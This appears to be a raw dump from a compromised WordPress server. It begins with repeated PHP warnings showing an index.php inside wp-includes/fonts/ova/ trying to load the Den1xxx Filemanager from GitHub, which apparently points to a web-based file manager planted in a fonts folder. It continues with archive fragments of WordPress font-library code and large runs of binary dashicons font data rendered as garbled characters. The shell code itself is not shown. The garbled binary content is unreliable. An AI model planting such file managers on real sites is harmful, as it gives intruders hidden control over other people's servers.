found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:02 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:07 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:07 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:09 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:09 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:11 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:11 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:13 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:13 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:15 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:15 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:16 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:22 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:22 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:23 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:23 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:25 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:25 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:26 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:26 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:27 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:27 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:28 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:28 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:40 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:45 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:53:58 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:54:03 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:54:12 UTC] PHP Warning: file_get_contents(): https:// wrapper is disabled in the server configuration by allow_url_fopen=0 in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 [30-Aug-2025 23:54:18 UTC] PHP Warning: file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: no suitable wrapper could be found in /home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/ova/index.php on line 91 PK[,dashicons.eot.eot.tar.gznu[PK[][7[7 index.phpnu[PK[__݇dashicons.svg.svg.tar.gznu[PK[zccNVindex.php.php.tar.gznu[PK[XK>> index.php.tarnu[PK[?Sdashicons.ttf.tarnu[PK[;p=WW!dashicons.ttf.ttf.tar.gznu[PK[x3[class-wp-font-library.php.tarnu[PK[+w pdashicons.eot.tarnu[PK[HD$NTclass-wp-font-library.php.php.tar.gznu[PK[ }9Ydashicons.svg.tarnu[PK[';; zGerror_lognu[PK PK#[x3!ova/class-wp-font-library.php.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/class-wp-font-library.php000064400000006653150547072610023156 0ustar00is_collection_registered( $new_collection->slug ) ) { $error_message = sprintf( /* translators: %s: Font collection slug. */ __( 'Font collection with slug: "%s" is already registered.' ), $new_collection->slug ); _doing_it_wrong( __METHOD__, $error_message, '6.5.0' ); return new WP_Error( 'font_collection_registration_error', $error_message ); } $this->collections[ $new_collection->slug ] = $new_collection; return $new_collection; } /** * Unregisters a previously registered font collection. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return bool True if the font collection was unregistered successfully and false otherwise. */ public function unregister_font_collection( string $slug ) { if ( ! $this->is_collection_registered( $slug ) ) { _doing_it_wrong( __METHOD__, /* translators: %s: Font collection slug. */ sprintf( __( 'Font collection "%s" not found.' ), $slug ), '6.5.0' ); return false; } unset( $this->collections[ $slug ] ); return true; } /** * Checks if a font collection is registered. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return bool True if the font collection is registered and false otherwise. */ private function is_collection_registered( string $slug ) { return array_key_exists( $slug, $this->collections ); } /** * Gets all the font collections available. * * @since 6.5.0 * * @return array List of font collections. */ public function get_font_collections() { return $this->collections; } /** * Gets a font collection. * * @since 6.5.0 * * @param string $slug Font collection slug. * @return WP_Font_Collection|null Font collection object, or null if the font collection doesn't exist. */ public function get_font_collection( string $slug ) { if ( $this->is_collection_registered( $slug ) ) { return $this->collections[ $slug ]; } return null; } /** * Utility method to retrieve the main instance of the class. * * The instance will be created if it does not exist yet. * * @since 6.5.0 * * @return WP_Font_Library The main instance. */ public static function get_instance() { if ( null === self::$instance ) { self::$instance = new self(); } return self::$instance; } } PK#[+wova/dashicons.eot.tarnu[home/eufvorrv/jigawapost.com.ng/wp-includes/fonts/dashicons.eot000064400000156364150547063230020775 0ustar00HLPdashiconsRegularVersion 1.0dashicons 0GSUB8BOS/2@O%|Vcmap_>$glyfqdE@headf6hhea7H$hmtxPlocalAmaxpo name+_"post#2\,. T_< 66 T  ,DFLTliga fG fPfEd@G.,, <  )9@B )9IIWY`iy )18CG 0@B 0@HPY`bp 03@E<vx"""0BTfnt  4 >JKHILGO. KQ5EF\GW*ZX]g$'.-JR $%p&'() 2M34H[i: OYEAjklmnr6 TRt"#7MSPywvx~}hBCDSQ98 L/0q@P1+N5s76D%&+,()"#:<A@8;=B>??uV*o-z{9/,!U<3{|;INC!bcd^_efa`2=1F  0 V     4 >JKHILG O!!.""##$$ %%&&''(())K**Q++5,,--..E//F0011\2233G44556677W8899*::Z;;X<<]==g>>??@@$AA'BB.CC-DDEEJFFGGRHHIIJJKKLLMMNNOO PPQQ$RR%SSpTTUUVVWWXXYYZZ&[['\\(]])^^ __``aabbccddeeffgghhiijj2kkMll3mm4nnHoo[ppiqq:rr ssttOuuvvYwwExxAyyzzj{{k||l}}m~~nr6 TRt"#7MSPywvx ~ }!!""##$$%%&&h''(())0011223344B55C66D7788S99Q@@BB98 L /0q@P !!1""##+$$N%%&&5''s(())00711622334455667788D99@@%AA&BB+CC,DD(EE)FF"GG#HHIIHH:II<PPAQQ@RR8SS;TT=UUBVV>WW?YY``bbcc?ddueeffgghhiiVppqq*rross-ttzuu{vvww9xx/yy,!U<3{|;I NC!bcd^_ e!!f""a##`$$2%%&&''((=))100113344F556677 88@@AA BB0CCEEFFGGPp0TNnR@">Rx  . @ L ` p | V j  d  @ff lp,&H `v0P<nBt6NfvB"b,d&Rx8f  P t ! !B!"L"""#D###$j$%%,%j%%&h&&''>'~''(P((()).)b)))*D*l**+B++,>,z,--2---.p.../L//0L001 141\1112B22233Z334`44455N556"6d667$7H7^778:8r89969P9j9999:n:; ;~;<<<2<<=N=> >>?(?f???@@r@AA@AABBDBBCCZCCCCD4DDE EDEEEFFTFfFG(GPGhGGH H@HpHHI&IZIIIJJNJJJKK8KLLM@MtMMNN4NNO OZOOPPBPdPPQ Q.Q`QQRRRvRSbST2TXTjT /%'767'7676?676227s& 9 ".   #!  &  .   $    2".4>57\66\n\67\i6\n\66\m]6b32+5#"&=4633 3656'&'&"17>767676676767676  $,$/ 3 #T  ,  -(  #  0%,$    "# '0%#'#5&''7&'#5367'7675373264&"8(6(M(6(77(6'M(6'8 --@--'6(77(6(L(6(88'6(s-@--@- ''753!55#'f4f&'f3("8'764&"&6?>764&67.6?>2'9j .j'99Չ j'89+(8j!-99'j. j9'ډ3j9'+99'j.!*6%54&+'##"3!26'2"&463"&46325#53"&4632M +"f"+   %%5&&̀%5&&Mf3%5&& 33 &5%%5&'%%5&Y%%5&   %)-''7'575#''7''7%#5%#55#!5#mmmgeffL4mmmmfff̀444P``pp;WXZZ4++g__pp__pp3YZZYYZZ@3333'#'7&67>264&"N$0M&M BB'BA U_3%Qz 7!3!33M3M#'767+"&4?547676PS0S d   SSS0S4   c"ZSS!7&'&7676?'76?> //1 .>H H>/1./ 1.>H G>/ 1+G%4&#!"3!26%32+"&=#"&46;5462#"&46;546232+"&5  M             f4  &&Y&& 3T\"2>4..'67&"&'&&7676'32267&'&765&'&'.'&'&676767667>j>>j}j>>j ,   %!  5/   ! I >j}j>>j}j> 3      9!     6* $,'Bl   (0<k"2>4.67#&'&'.'67>76'267&7&'&/..'&'&'&'&&'&6'&'>>j>>j}j>>j       ' W F2  "   #  Ob0>j}j>>j}j>           $  %  .;5 #(.39@ELRX]ci"2>4.3#&75#5'#676#67#6733#&&'&'53=373#675&'3'#&''#63&'673>j>>j}j>>jA7& ]#G&] &A7]R [&iF&\ &A8 8&. 0  - - 1 - 0>j}j>>j}j>#"!P% #"#ErP %cE#"E$!"FE"CO% ON %rE#"E$!""$""!$g$+A$+#,B#* :H"2>4.6'&'&'&'&'>7&'&'>7'.'&7&7&'&'&'&'>j>>j}j>>jh  =.fA    3O" 6   >j}j>>j}j>L,"  # ) >O  P#.&Z+   '"&4?&>7264&"F 6& 2AJHJ &5 E2 JIJ@)"'&'&/&76272"'&/54>3 M F6 #"0S0""5  & &  B/"6@  @5!;&'764'&'764&"'&'7'7>/764&"'764&"'7676Y> .    :Z P.@    a b    >.P Z: "   1 =W ';O5!57>'.5!#'&'5>>.'.>767>'.>767>><4ELc2X 7 -S  R3 (!  A 6- 3Tl41C f  ` 7  a    7    !5!5!!5!Mf33f3f3%!!5!3f3 !5!5#%35#35#!5!MfMMMMf3g333 !5!5!!5!Mff3f3 7#735#35#͙f4̴33 %#'#3#34f4343 !5!35#5##35#!5!MfMMfMMf3333 !5!5!!5!333f3"P[%#"'&326764&7&76327>'672?6'&'54'.#3265>"7#"&54ISo\*h8-U%+' ( "#%, *+(Z  6%'  #  %4  M  #  ' #|  +!%%!!5!3"&46527#53#53#53!5!fg4M-@--:gggggg43fMMM --@-33g4gg !5!!%5#4f44M37'74f33fffg7'3f4'gf3!'7ff4f33fg'7f3Mg%'7Mge75!'7'733ff4f33fg?'73gg͙fge%#'7'4f33f33ffg%''73M?gfM3gM!-767676&'&7>76>76'&   /2o\ <%&@%) $(      A6:3:51*3/S!'-7?'7/'"&462'"&462'73%7'#r4;;43 ;; [*<.'>&5717'7&]2:3\m1$2 * (%TF'-KTF0 .\m>Ms\mc::$2-KTF'-&O2: {{R6 !53'33'33'!5!f@3@3@fg33(5BOk&'&'&'&''&"2?&'&%762'&4&4?62&4?62"7"&4?627.&'&"33264a!  % @ n % 3 Jn n *n nn nm ( $  $$ @ %% o 94 Ps q n* n nFq om * &  %!%265#754&'>7."!5.f{*""+33;#7    7%8' @@&5##5##"!54&#MfM f f4444 7!!"&5463!!"74&"26M -- M >  M3-4-Y3!"&546;#"3!3 --  g-4-9B354636332+"&=#"&=#"&="'"&=#546;5264&"3/ 3 - 3 3/M*  84  44  48  g - $5Bu7656&6&#"3276"2>4."&'.'&4>276&#"3>"767216327>&#"4?672632#"'&'32>4.s] -7_77_n_77_7(G4XhX44X- [&E  !8#,-2/N//Na*7%#}  ,+7_n_77_n_7s5hX44XhX4} ,$  v>{+" , /N^N/ &3<L_2".4>"2>4.2".4>">54&"264&34'&'&'!6'&'&'&'FuEEuuEEuFBpAAppAApB;d;;dvd;;di'!,\,,>,,N    666%  EuuEEuuE AppAAppA;dvd;;dvd;, 1 (,,>,,>,   655$ )Ok4'2674'2654&"26754&"264&'"&=#"&=276767>27>76767".= g ggf1(  (1* " *( * ! 0RbR0     Y  Y  Y  Y /?LL?/8    -o  M//M   #/G#"&46;&546;232!2#!"&46!2#!"&4632++"&547#"&46Z))4  $  >   M  ML-=AEIM4'&/2674'&/2654&+";26754&+";26'7?7?   -   - 3  3  3  3 33333333l    333343/'#'&'&6765.>27&'>7656" 3DC6 #)3- ,>- .5 )`J##K !? a;D;##;D;b@! 2!767676'7'7''70S* f$&__ : 3_X @ KG !n tGI hjNW`n{%"/'&'&'&5"&4?67&547>7#"&4635462354622+>7'264&"7"264&;264'&+"4&+";263264&+"3264&+"-?     ?-#!&  4  ' "" W ED L LYLL@- &  % -@ /: ":*   *:" :/d3  @ ;  3   -=&"2?>&"2?64"/"&4?624'&/;2  =   k  k.     "  =  k  k.   )"'&'7.'76767&327'267'#"'t+&T&+s9&?3 /1v3(#&@@&'R$$K$1 J ~,.- #'+/37;?3!!#53#53#53#53#53#53#53#53#53#53#53#53#53#53#53Mff33g44f3333g44f3333g44f3333g44f33ff3333M33333444443333333333333%.%54'&'&'&#'57'"32767"2>&  )+  !/2F>$' %4% 'O@ ,!MM!,  @{:N00P8''';676?4'&'&'7'"2>&R88/+''+))))$' %4% 'M$$M %>>%)):N00P8GK%&'&'#'7"776?54%267&'&72654'&'&'&'&"'7\\: ".))." %   % j g;;;6^\89HH6E !   '' ,!"3!26=4&#!"&=463!2f  f    !*3<EQZ^!"3!2654&"&462'"&462'"&462"&462'"&462'"&462"&=462'"&4627!5!      M   n!   f \W\W  Z  8WW +/37;?CGKOS3!3546235462#26=4&"26=4&"!7#5;#353#5;#353#5#53#53MfMf    ff3f44g33f44g3344f33@@@@z4444433333333333+/37;3!3546235462#26=4&"26=4&"5!75#35#35#MfM f     ff343g@@@@32#!"&546;73264&"K  j  KMf3*<"264&@  \).@"'8 %2$R$2%  B#! d"36&!%%%%#$  MO7767676'&'6>'&'&/67676&&'&&'&'&''&'3NFKM      $#   !+$ $,( '%("35 !     9     - -( 'H;A"+732#!"&5#"&46;2!#2"&4632"&46  3  M Lf     3g     !!3#3Mf4MM4&/8%>54&"&"'654&"2"&462"&462"&46 * j 6* L   3; '  M %####5#g3f3g3f 1!7&54626327&546327"&='#"' ~l % \ 1U ) R     52'3".4>1R0ʹ1RaS00S0R10S00SaR1-6:>BFJ76"/&4?627&76765.#&#"&4627'7'7'7'71# $~  S$  $B  ~ $2".4>2>4."7/18^77^p^77^8*F**FTF**FsM7^p^77^p^7*FTF**FTF*6R{{  654&#"&#"3!264&'77{<*1  &#,5$%5/R$.a$ *= % 2"$66F4Q$.b$!654&#"&#";5#7#3264&{<*1  &#,5$ZMssLY%5/ *= % 2"$6MssM6F44654&#"&#"3!264&}<*1 &#,5$%5-*=% 2"$66G3$IRx54&'>=46;5#"#2;5#"&&'&'6'.'&765&%"&46274654&+32+32654&4635"&      . .$'S d,    +<76?'5/.   , \./5 ,   \73#3#M͙%7'3]]]]55]]4]]733#MfMMf44 5!5557!'73gg3ggMM&3ML3M&3ML3 7''#37333=\\\{{3{{ 7553#5͚33]4]]{{{{37'#3ggMff&E37'#%#"'&67367654'&'.>##"'&>76764'&'.>33ggE       '       Mff #^#   #6'  (   *  8<!2#!&546!%47676763#!"&=27676762!!8  p     $ 4  ) g   g    3 (09BK7!>54."2"&462"&4632"&467"&4'2"&46!2"&464&"26`@7^p^7 [  V*g > ufB#8^77^8#B4u+7M 0CO264&"7533##5#5467#"".52>=7#".52>=#"'3.'.5f+<=7#".52>=#"'3.'.53264&"7##5#1R0W\1R00RbR00R.1R00RbR0!, \A[0R+<=#"".52>='3.'.53264&"7533'1R0W.1R00RbR0!, \1R00RbR00R1A[0R+<=#"'3.'.5".52>=f+<=#"".52>='3.'.53264&"'7'1R0W.1R00RbR0!, \1R00RbR00R1A[0R+< .?2>4."".52>='".52>='".52>=1R00RbR00R11R00RbR00R11R00RbR00R11R00RbR00RfM  MfM MgMM!$!2+32!546;5#"&5465!73Mf  3  3 X 4  4  紴f 2".4>'7''78^77^p^77^MM3MM3MM3MM7^p^77^p^7MM3MM3MM3MM35!353'35g34MM͚40&'.767676?>327&67626&  JA)   7* !@$7    @ 377/7676!"!$T  $ !!"!$+T  $ #!5#'.#3576&?f3d! g@q)3C!͚f @q) ?677'dE ͏=gE P 5#5!5#5!f33f33g33f33 5#5!5#5!3ff33f33g33f33 5#5!5#5!f33f33g33f3332654&'5>54&#532#32+t5=;C#')8+3-!&',)J'8*3!'733怀MgfM '77'7ffMfffff4ff47'7#7!75#35'!'3:: f `f` f :: f `` fS`` g 99 g `f` g 99 g$235#67654&"#35&'&'&54613*^%UT%] 3v751#33"'/DOPC/'!33 !157 3#3'735'75!#7'g8aga8";aga;3ffa9Gf9aG!_9ff9_ %.4."2>'#5467>4&#"'632&462"0RbR00RbR0(   !%%&1R00RbR00R   ! O "53753355#%53535335353Mff3ff3泳fM33M3ZY3333M44L33M33 5!5#35#35#5!MMfMMMffg444444ff #3#737#73z6H66H6f334 !!!!!!!!3ffff3334333 #'+/37;?!55!7#53#53#53#53#5!55!7#53#53#53#5#5!#53#54fM33433f4fM334̀33͚ffM4444444444ͳ33333333L444444!$#";2654622653264&7M 55  5?5  3   Mgf#S\`dh6235#767654'&/&""#6򥊢'&#"632632+32#"'"'26542735#35#35#35#)H,  1        '3! )       #Of ' (,RV5#?73#5#5767>4.">273#4&#">32+32#"&'32654&'5>3#! I ,    f!      !Mf  E3   2K   "5#5##553%5#5#5##5#5#ff3ff3泳fM3333ZY3333M44L33M33!#";2654622653264& 55  5@5  3   M$,!57264&"732#!"&546;!55#335=CD< '   '44L4MMM  3 <<44$1!57264&"4&+!57#"3!26'#'#'3737=CD<  ''  f M335134MMM3 <= ش'74'&'&&67'32674'&'&&67'326 -##;#)2%!+ -##;#)1& +F24;C/7'!F24;C/7'$"/&=4?62764/&"2n-9-7768677!$#";2654622653264&5M 55  5?5  3   Mf/7=EK27&"3275#"&463'#373732654&'5>54&#532##76732+7''  -"$! 9:;67  n,df $&)8+o @+  ( $  MNAGORZ%267#"'&'#+5##'##7#53733532367>2.#"3#%3/73>4&#1#3+3264  !7$:".- ! .   KK p k,1 @@++@@@@      U* D+  %!!5!#53#53#53#53fg4Mf3444333 %3#373'#7S0i4f0k R&M'} "&"&46273#"&46273#"&46273# 0@ 0@ 0M  3  3  3g#"'&=#27655#f3$63y%'#- ''-33!58;>'?64&"'6?>'3''7.6?27'#'7'' 6+' .= '99͚4f3ͽ#89+$<'!-͚4f399' *'. ?7 'Agf3<$+98#(-!gf3 #'+/37;?CGK##5#3533#5!#5#5#5!#5#5!#5#5!#5#5#5!#5#5!#5#5!#5MMMMf33334"&462%"264&#"264&**3*******-%54&#!"3!26'"/'"'&?'.7676g!hd p67p dh  `h_11_h`  7%>=4&'&7>7>4  {.z.Ks :  !2#!"=47>.'&cS000ڬ  ....ݎcc#)!"3!26=4&#"&463253'757'5fM* ff&&LL&&MMg+n&'&MM&'&'M!"3!26=4&'757'5fb&&LL&&M&'&MM&'&'M$-!"3!26=4&#53'757'5'5'7264&"fȳf&&LL&&M.4 ͙s&'&MM&'&'M@&.>-39!"3!26=4&'&76?'76?>'7&'757'5f ! !  M &&LL&&M " "   J0&'&MM&'&'M#!"3!26=4&'#537'757'5f33f&&LL&&M$1."g&'&MM&'&'M%)%4&#!"3!262"&46!!52"&46!!5 f    W4 W3  f 3#35#7'7'M33ffn$$n33f4n$$n3'5'7#57!3#3$h334fO$M33o73537#5476;5&#"#3K> H & *3??3I. A3-6I$!2+537#546;5&#"#3#"&546Jl h5=  %+55  >'8+'-> l #!2#!"&5465!735335353353  f MM  f MMfMM576762'./5M!!.T.!!! 337#7567'&'&'&3M#.1+#+51&3 $0C"#54&"#54&"26=>=4&3265""26=>'4&  - -%& @@ @@ T  T  ,2#(  (#2 !!!5!55#7#̙L44͙̀gf%6"&46325#"&4632546 4J55%3"%44%3 %55J4 3 ,4J5 &#"5#"&=46;232+'#"&=46#M33Mf$/MMfLL&BK32#!"&=#"&5463!2!!4&"2667676763#52767632#+2  2  K   3      2 K  @ c ͚      >!2#!"&546!4&"2647676763#!"&=2176767632:t**M       tgf+k "  3    )74'&'&&67'32674'&'&&67'326 5)*+#& ;+'2 5)),"& :+'2!%R:"&-2lA-'!%R:"&-2lA- '092"'&476264&"3264&"3264&"2"&462"&46}90099009     = 0))00))0        3  !2%46373#37#37#3!73 4q43M333M f MMMMMMMgf #&),/3#7357#53%'7'35#!#53#57#7'533&M̀&''@'M3&'M''Z&@&Mͳ@&@'MM'& '''g'&&'M@& #77'77535''3'7.E'H.H'E.s'E+.E..H̀.H'E..E'E+'E..HE+.E 357''375#!#77'W$H..H$H.H$H.f.H$H$H..$H$H.H$H..H$H+4=.+"76767627>'&##5#53533"&4627"&462 (( '&   1 s+85W      W58.& *   #3'.'&>727.#"32>5'&pA(2E9",#;H&7^88^7:Z1&L(1E2";$87_n_73[:!2#!"&5465#!5#5#!5#3  f f3f f   ̙͙ !-;J2>."2>."2>."76&"26'"&/&63272"'76'&'6 " "n     1j2 '  " *- -* " **#)$$$$n/88/n &6a ](//(] `7&'7&'"/&47%&'6$Y$v;Vi?^$W$!x%  " #5#3533@@@@M%6767>'&".#&=1,%:11:%3,1J+)1/U..V_)+&<@&"&#764&'677&6762&'+6267>7.26 >**I{",+ E"1/Im    !i< ?q$  rf*<>J? (+ H !.BK8  ;  39;3 f<)%#&'&'67673264&#!";#"3!264& 0.   0.   f6 ''!56 ''!5 #)/575##5335335#53#353373#5##'#3#533'77'7f333$_!3#&L3;;YY.;;YYf4433ggWWP@@Pf:;ZY;:YZ #<@DHL%!!>?6.#"275#5#'"276?54.#5#5#5!5!f  рW#  MMMM43     C3/  4L48<@D%!!>?6.#"25#'"276?54.#5#5#5!f   #  瀀f4t      ff  533%##5#5#535337'#35fMffMMMfgfMffMffLMgf4&"26>.>.f4.#"5>@529925@4.".4>244  ?j==j~j==j?1R00RbR00Rff=j~j==j~j=g0RbR00RbR0 2".4>4&"265#8^77^p^77^R47^p^77^p^7g ܚ %)73535#5##32>4."2".4>!5!4334331R00RbR00R1#;"";F;"";f333330RcR00RcR04";G:"":G;"3 %)##33535#'"2>4.".4>2!54334331R00RbR00R1#;"";F;"";f3333330RcR00RcR0";G:"":G;"33 %"2>4.".4>2##33535#?j==j~j==j?1R00RbR00R4LL4LL=j~j==j~j=g0RbR00RbR0L4LL4G_4&"267"&4627"&462'"#"#;276767676=4'.'&'&#+"'.=4676;2E(:((:($=X==X= %" #%%#  #%!"63%*.3%((:((,==X==B 1  "% %"  #$%#T3%!!--!!- !2#!"&546!!'#5!3!26Mf  Y4Mf4     3ͳf  3#3#73#3#!!3ggfgg?7M4gge 22+"&=4&/&'&54>53++"&5#"&'B'   f   'B&  3  &B'    'B&j   "73#7"264&5#3547>354'&'&@MM&'LL*M!<3~&&+1 %)26?C7!2654&#!"2"&46!!52"&46!!52"&46!!52"&46!!53  f = W4 W4 W4 W   f 33f33g33f33 %7>54&"72"&467'57M&5% 2>4."8^77^p^77^8#;"";F;"";7^p^77^p^7";F;"";F;"  %.!3'7'7'726'&/72"&463gMMf...M...M...' 3  ggM 3  4  3 f  =   '!3'54&#&+"276=7&3263gMMm M  ggM WU;  !'7'37'3g̀33MMfMM33g34MLLM43!3'3gMMggM  #'!353'355!355#'355!5#3gMMfffgMM3MMMML4#!3'5#3373/"&4627#5#53gMM3LM vMMggM癙4444L444M  $(,048<@!5#5#35#35#5#35#35#5#35#35#5#35#35#5#35#3g̴MM4MfM4MfM4MfM4MfM4ggMM33334 !353'355!5!5!5#3gMMfgMM3M333!3'54&+";2653gMM M  M L3ggML  L 3(;O#"++"&7'#'&'.76?>76#67654'&'.'6&'&'&7>9M  ,&:  !!  !  h2! 9 #343   *(n   7!5!!5!!5Mfff4444 7!5!5!5!5!3334 5!5!5!MMMMMM 7!5!5!5!5!Mfff3334 /54&"26732+"&46;5.54622654623**gI73   36J4&'&'"2>4.".4>2        &7_77_n_77_70Q00Q`Q00Q   $$   "' 7_n_77_n_70Q`Q00Q`Q0&;IR!#4&#"&#"!72>?6.#"54.#'"26?2"'654&'>462"&1"(    p ! e))9 #x%%"1      ):)Y%5#3'35#'735#7#35ffLffLffffLffLffLffffLffLffffL26?HP54&+";26'2"&4654&++"&=#"3!26'!54&"2674&"2627"&3 4  4 3 MDM4  M  &~&:N:M  M X4  U%32+"&=46;5#32+"&=46;5#32+"&=46;546;5#"&=46;2+32  f    f    f    f   L  L 33 L  L 33 L  L 33 L  L 3 ''7'77[[$[Z%[[%Z[[[[$[[%ZZ%[[ ''7'776[7Z[6[[6[[6Z7[[6[[6[[7'#7! 3'3M3f4<E267632&"632.#"#476767&#"67632&'&#">4&"26   *g!25!*/,/RD#(, #L   $1+& )A F@ZC=6)%25' # >&/.6?>"&4?64&"6?64&''&'&67676?@~0 ~~~  0,  1BBBB ?~0  @, ",2:7#3264&#!+#532+5327#3##535!533#3264&M.i$$_3&&Mf  3fffff4 *3<E7!654."7462"&462"&67671"&4462"&7462"&7462"&`@-7^p^7tN&%%'- }M8H7^88^7H ) L (LN  -   -9J27654'&#"#27654'&#"7"327654&4&#"3267"32623254.1  P   